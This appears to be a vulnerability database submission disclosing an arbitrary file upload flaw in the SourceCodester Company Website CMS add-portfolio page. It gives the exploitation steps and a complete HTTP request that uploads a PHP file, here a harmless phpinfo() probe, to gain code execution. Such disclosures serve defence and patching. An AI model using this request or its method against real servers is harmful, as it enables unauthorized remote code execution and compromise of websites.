जमा करें #43178: Company Website CMS Backstage management add-portfolio RCE

info:There is an arbitrary file upload vulnerability in the company's website CMS background management add-portfolio
Add a portfolio in the background, upload attachments, capture packages, and modify the attachment suffix to php as needed.
Modify the attached content php code getshell to achieve RCE.
Then traverse the URL:/dashboard/uploads/portfolio/xxxxx.php access

payload:
POST /dashboard/add-portfolio.php HTTP/1.1
Host: 192.168.153.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------181572735023140528043402355237
Content-Length: 769
Origin: http://192.168.153.1:8090
Connection: close
Referer: http://192.168.153.1:8090/dashboard/add-portfolio.php
Cookie: PHPSESSID=vomi3si61qo6kdmeg950fo9uk2
Upgrade-Insecure-Requests: 1

-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="port_title"

ssssssssssssssssssssssss
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="port_desc"

ssssssssssssssssssssssss
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="port_detail"

ssssssssssssssssssssssss
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="ufile"; filename="123.php"
Content-Type: image/png

<?php phpinfo();?>
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="save"

-----------------------------181572735023140528043402355237--

• स्रोत: ⚠️ www.sourcecodester.com/php/15517/company-website-cms-php.html
• उपयोगकर्ता: jsbae3449 (UID 30775)
• सबमिशन: 09/08/2022 07:33 PM (4 साल पहले)
• संयम: 10/08/2022 08:18 AM (13 hours later)
• स्थिति: स्वीकृत
• VulDB प्रविष्टि: 206024 [SourceCodester Company Website CMS add-portfolio.php ufile अधिकार वृद्धि]
• अंक: 17